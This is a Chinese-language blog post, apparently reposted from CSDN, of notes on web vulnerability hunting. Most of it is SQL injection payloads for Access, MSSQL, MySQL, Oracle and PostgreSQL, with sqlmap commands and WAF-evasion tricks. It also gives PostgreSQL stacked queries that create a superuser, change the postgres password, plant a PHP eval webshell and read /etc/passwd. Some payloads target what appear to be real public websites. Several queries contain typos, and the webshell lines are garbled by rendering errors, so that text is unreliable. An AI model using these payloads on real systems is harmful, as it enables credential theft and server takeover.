网络安全(三 漏洞的抓取与挖掘)

挖掘************************
身份认证
常用弱口令/基于字典的密码爆破
锁定账号
信息收集(多看看子站上的东西)
手机号
密码错误提示(利用burpsuite)
密码嗅探

会话sessionID
Xss/cookie import
SessionID in url
嗅探
SessionID长期不变/永久不变
SessionID生成算法
Sequencer
私有算法
预判下一次登陆时产生的SessionsID
登出后返回测试

挖掘漏洞准则
关注所有的变量名
所有头
cookie中的变量
逐个变量进行删除

抓取**********************
静态网页交互性差,安全,不存在SQL注入漏洞
asp,aspx,php,jsp服务器语言??? 依赖数据库,灵活性好

回显注入

数字型 id=1;
字符型 name=‘root’;
构造闭合原有的单引号
root’ and ‘1’ =‘2 ========> ‘root’ and ‘1’=‘2’
通过注释符,注释掉后面的引号
1’ and 1=1 – ========> ‘1’ and 1=1
1’ and 1=1 #

盲注

联合查询
sleect user from users where id=1 union select password from user where id=1

– 在–后面必须加一个空格

百度搜索:转到父目录
site:qq,com 转到父目录
找到连接数据库的文件: inc%5conn.asp
xyconn.asp::$data
intitle <%eval
inurl:down asp?FileName=
//////////////////////////////////////////////////////////////
逻辑万能密钥:
‘or’’=’
Admin’ or 1=1–
'#

access数据库

判断注入 and 1=1 and 1=2 / .0 .1 ’

判断数据库注入
and exsits (select * from msysbojects)>0 access
and exsits (select * from sysobjects)>0 sqslsever

判断数据库表
and exists (select * from admin) 可以省略

判断数据库列明
and exists (select admin from admin)

判断字段长度(查询多少列)
order by n n>=真实的列返回正确内容

/统计查询的结果有多少行
and exists (select count(
) from 表名)>0
and (select len(passowrd) from admin) >0*/

UNION SELEC
http://njjykj.com/newss.asp?id=338 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 from admin
爆出来的就是不匹配的列,或者说是字符列

判断账户密码的长度(一般是16位或者是32位)
and (select len(admin) from admin)=5 返回正常的话,说明管理员账号的长度为5
and (select len(password) from admin)=5 猜解管理密码长度是否为5

猜解ascii码进行判断
and (select top 1 asc(mid(admin,1,1))from admin)>100 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,2,1))from admin)>50 返回正常说明大于,不正常说明不大于

偏移注入----猜解出表名,猜解不出列名
用*代替列,不断向前推移,

====================================================================================================

判断注入 and 1=1 and 1=2 / .0 .1 ’ %bf’

%bf’ 用于 ’ 被限制,不能正常闭合的情况

初步判断是否为mssql
and user>0
and exsits (select * from msysbojects)>0 access
and exsits (select * from sysobjects)>0 sqslsever

获得数据库版本
id=1 and 1=(select @@version)==》id=@@version
id=1 and 1=(select db_name())
=》id=db_name()

获得数据库名称
id=1 and 1=(select name from master…sysdatabases for xml path)

获得数据库中的表名
id=1 and 1=(select name from sysobjects for xml path)

获取列名
id=1 and 1=(select top 1 pass from admin) //admin已经被爆出

权限的判断
and 1 = (select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
and 1 = (select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1 = (select is_srvrolemember(‘public’)) //判断是否是public权限
and 1 =conver(int,db_name())或1=(select db_name()) 当前数据库名
and 1 = (select @@version) //本地服务名
and 1 = (select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

====================================================================================================
MySQL5.0及以上
联合查询后面不需要再加上表名
联合查询,要求源码当中查询几列,那么在构建语句时,查询几列

select user from users where user_id=1 or 1=1; 列出所有的数据
‘or’’=’ 表单,使or后面的内容完全相等

判断注入 and 1=1 and 1=2 / .0 .1 ’ -----数字型
1’ 1’ and ‘1’='2 ------字符型

查询长度
1’ order by 10–

获取信息 (带入错误信息)
and 1=2 UNION SELECT 1,version(),3,4,5,6,7,8 获取数据库版本
and 1=2 UNION SELECT 1,user(),3,4,5,6,7,8
and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8 获取数据库名称

@@HOSTNAME主机名称
@@datadir数据库名称
@@version_compile_os 操作系统版本
select @@hostname @@datadir @@version_compile_os

user() 系统用户和登录主机名
current_user() 当前登录用户和登录主机名
system_user() 数据库系统用户账户名称和登录主机名
session_user() 当前会话用户名和登录主

获取数据库后,获得表 (’='后填写数据库的名称)
and 1=2 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 from infomation_schema.tables where table_schema=‘xycms’

获取表,获得列 (’='后填写表的名称)
and 1=2 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from infomation_schema.columns where table_schema=‘manage_user’

获取列,获得账号密码 (’='后填写表的名称)
and 1=2 UNION SELECT 1,group_concat(m_name,0x5c,m_pwd),3,4,5,6,7,8 from manage_user

显错注入 判断是否存在注入输入’

字段schema_name->数据库名称
select schema_name from information_schema.schemata;

table_schema->数据库名
table_name->表名

columns->存储的字段名表

table_schema->该字段所属数据库名
table_name->存储所属表的名称
columns_name->该字段的名称

Select * from information_schema.schemata; //爆出数据库

Select table_name from information_schema.tables where
table_schema=’dvwa’; //爆出指定数据库 dvwa 的所有表名

Select column_name from information_schama.columns where
table_name=’users’;// 爆出 dvwa 指定表 users 的所有字段名

select (user,password) from dvwa.users; //爆出数据库 users

Concat()和 concat_ws()的应用场景查询结果只有一行,一列或多列数据。

Concat()和 concat_ws()函数的对比,两者均可以将一行多列的数据连接为一列,区别 concat()连接没有连接符号。Concat_ws()可以定义连接符,用分隔符将结果连接起来。
select concat(version(),user(),@@hostname)
select concat_ws(0x3a,version(),user(),@@hostname)
//0x3a 是“:”的十六进制,在这里把它作为分隔符:的 hex 值

Group_concat()可以将多行多列查询结果,显示在一行一列,并且多行结
果之间用逗号”,”分隔。
select group_concat(user,0x3a,password) from dvwa.users;

concat,concat_ws,group_concat 函数
在实际注入场景中,应用于回显注入类型。
可以根据回显的数据位置或回显数据列数,
根据实际情况选择相应的函数。
从功能上看,group_concat 函数包含了 concat 和 concat_ws 的功能


带入错误信息

判断注入 and 1=1 and 1=2 / .0 .1 ’ -----数字型
1’ 1’ and ‘1’='2 ------字符型

查询长度
1’ order by 2-- (–后面要保留一个空格)

显示数据的位置
1’ and 1=2 union select 1,2 –

爆出数据库主机的信息
1’ and 1=2 union select group_concat(@@hostname,0x3a,@@datadir,0x3a,@@version_compile_os),2 –

查询当前数据库信息
1’ and 1=2 union select group_concat(database(),0x3a,version(),0x3a,current_user()),2 –

查询得到数据库中的表
1’ and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘dvwa’ –
得到当前 dvwa 数据库中两个表为 guestbook,users。

爆出 users 和 guestbook 表格中的字段
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’),2 –
在查询 columns 中的 users 表时,里面可能有多个数据库会有users 表重名,所以最准确的结果,条件匹配上增加table_schema=’dvwa’ ,得到结果才是最准确的。
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’),2 –

爆出表 users 和 guestbook 关键字段的内容
1’ and 1=2 union select (select group_concat(user_id,0x3a,user,0x3a,password)from dvwa.users ),2 –


盲注
1’ order by 2–

1’ and length(database())>1–

1’ and ascii(mid(database(),1,1))>1–

limit 1 1 前一个1代表取第几行 后一个代表一次取几行

1’ and ascii(mid((select columns_name from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ limit 0,1)1,1))>1–


绕防注入:大小写变化 and And
aandnd
污染参数进行过滤:a%00nd a%01nd

=========================
oracle
oracle数据库稳定,安全,可靠

判断数据库 and 1=1 and 1=2
判断oracle数据库
and exists(select * from dual)
and exists(select * from user_tables)

oracle经常搭配tom_cat

联合查询时,找不到表的情况下,直接用dual
UNION SELECT 1,2,3,4,5,6,7,8,9 from dual
同时将数字改为null
UNION SELECT null,null,null,null,null,null,null,null,null,null, from dual

联合查询找列表时,可以从一个开始,变为1,逐个替换,不是数字类型列的会报错,所以,最终会找出
UNION SELECT 1,null,null,null,null,2,null,null,3,null, from dual

在非数字类型列填上如下:
获取数据库版本
(select banner from sys.v_ v e r s i o n w h e r e r o w n u m = 1 ) ( s e l e c t m e m b e r f r o m v version where rownum=1) 获得操作系统版本 (select member from v logfile where rownum=1)
获得连接数据库的当前用户
(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

获得数据库

(select owner from all_tables where rownum=1)
获得表
(select table_name from user_tables where rownum=1)
获得第二个表(ACCESS是第一个表)
(select table_name from user_tables where rownum=1 and table_name<>‘ACCES$’)
曝第一个列名
(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1)
曝第二个列名(EMPLOYEE_ID第一个列)
(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1 and column_name<>‘EMPLOYEE_ID’)

判断一下数据库中的表,在网址后附加 and (select count(*) from admin) <>0
返回正常的话,则说明存在admin,否则不存在

POSTGRESQL注入

判断是否为postgresql
+and+1::int=1–
判断数据库版本信息
+and+1=cast(version()as int)–
判断当前用户
and 1=cast(user||123 as int)
判断有多少字段
order by
union select null,null,null
union select null,user,null 判断当前用户

判断数据库版本信息
union select null,version(),null–
判断用户权限
union+select+null,current_schema(),null
判断当前数据库名称
union+select+null current_database(),null
判断当前表名
union+select+null,relname,null from pg_stat_user_tables
读取每个表的列名
union+select+null,column_name,null+from+infomation_schema.columns+where+table_name=“表名”

列字段内容
+union+select+null,name||pass,null+from+admin
查看postgresql数据库的账号密码
+union+select+null,usename||chr(124)||passwd,null+from+pg_shadow
创建账号
;create+user+seven+with+superuser+password+‘seven’–
修改postgres的用户密码为123456
;alter+user+postgres+with+password+‘123456’–

写shell
1.直接拿shell
在网站后直接添加;create table shell(shell text not null);
然后网站后添加;insert into shell values(KaTeX parse error: Can't use function '$' in math mode at position 11: <?php@eva($̲_POST[vraver]);…);
http://127.0.0.1/sql.php?id=1;create table shell(shell text not null);
http://127.0.0.1/sql.php?id=1;insert into shell values(KaTeX parse error: Can't use function '$' in math mode at position 11: <?php@eva($̲_POST[vraver]);…);
http://127.0.0.1/sql.php?id=1;copy shell(shell) to ‘/var/www/html/shell.php’;
2.
;copy(select ‘KaTeX parse error: Can't use function '$' in math mode at position 12: <?php@eval($̲_POST[cracer]);…’)to 'c:/inetpub/wwwroot/mysql-sql/ddd.php
读取文件的前20行
pg_read_file(‘etc/password’,1,20)

postgresql利用sqlmap
sqlmap.py -u “http://127.0.0.1:8081/sql.php?id=1
sqlmap.py -u “http://127.0.0.1:8081/sql.php?id=1” --current-db
sqlmap.py -u “http://127.0.0.1:8081/sql.php?id=1” --tables
sqlmap.py -u “http://127.0.0.1:8081/sql.php?id=1” --columns -T admin -D postgresql

oracle利用sqlmap(同理)
sqlmap.py -u “http://127.0.0.1:8081/sql.php?id=1

======================================================================================
POST-----登陆,注册,留言,修改个人资料,上传文件,搜索框
POST提交注入,
注册时,添加 ’
会显示出来
sqlmap.py -u “192.168.1.200:8807/login.php” --form 使用sqlmap探测出来,自动加载

sqlmap.py -u “192.168.1.200:8807/login.php” --data “username=admin&password=123123” --flush-session 添加表单元素,随后进行探测

sqlmap.py -r c;\p.txt 将抓取下来的数据包保存下来,然后进行探测.

===================================================================================

COOKIE—将参数带入到POST中,返回正常,表示支持cookie,

sqlmap -u “192.168.2.102/shownews.asp” --cookie “id=24” --level 2

获取表名,列名等
sqlmap -u “192.168.2.102/shownews.asp” --cookie “id=24” --level 2 --tables

===================================================================================

字符型注入
www.xxx.com/news.asp?id=‘你好’'and 1=1#
'and 1=1#是为了注入,人为添加进去的东西

搜索型注入—在搜索框内添加 123’
抓包后,进行sqlmap的分析包 sqlmap.py -r c;\p.txt

select * from news where id ="’%like $id%"

===========================================================================
伪静态 — http://zxb.sxjgit.com/index/Ndetails/class/news/htmls/moving/id/1131.html
伪静态注入的话,在参数数字后面加一个/或者-0
http://zxb.sxjgit.com/index/Ndetails/class/news/htmls/moving/id/1131-0.html
利用sqlmap的话,在数字后面直接加就可以
http://zxb.sxjgit.com/index/Ndetails/class/news/htmls/moving/id/1131
.html
给定探测的位置

延时注入
mysql>=5.0可以使用sleep()进行查询 http://192.168.1.200/test.php?id=1 and sleep(5)

mysql<5.0可以使用benchmark()进行查询
benchmark使用方法 benchmark(n,sql语句) n为查询次数

==========================================================================

base64编码注入
解码
构造语句
编码
i d = b a s e 6 4 d e c o d e ( id=base64_decode( id);

sqlmap.py -u “wdadsadqwdadasd” --tamper=base64encode.py

二阶注入
最开始提交的恶意代码被传送到其他网页,且该页面并没有发生响应,等到打开某个页面时,才能相应
aa’,‘fullname’='user()#

猜你喜欢

转载自blog.csdn.net/Aidang/article/details/89738275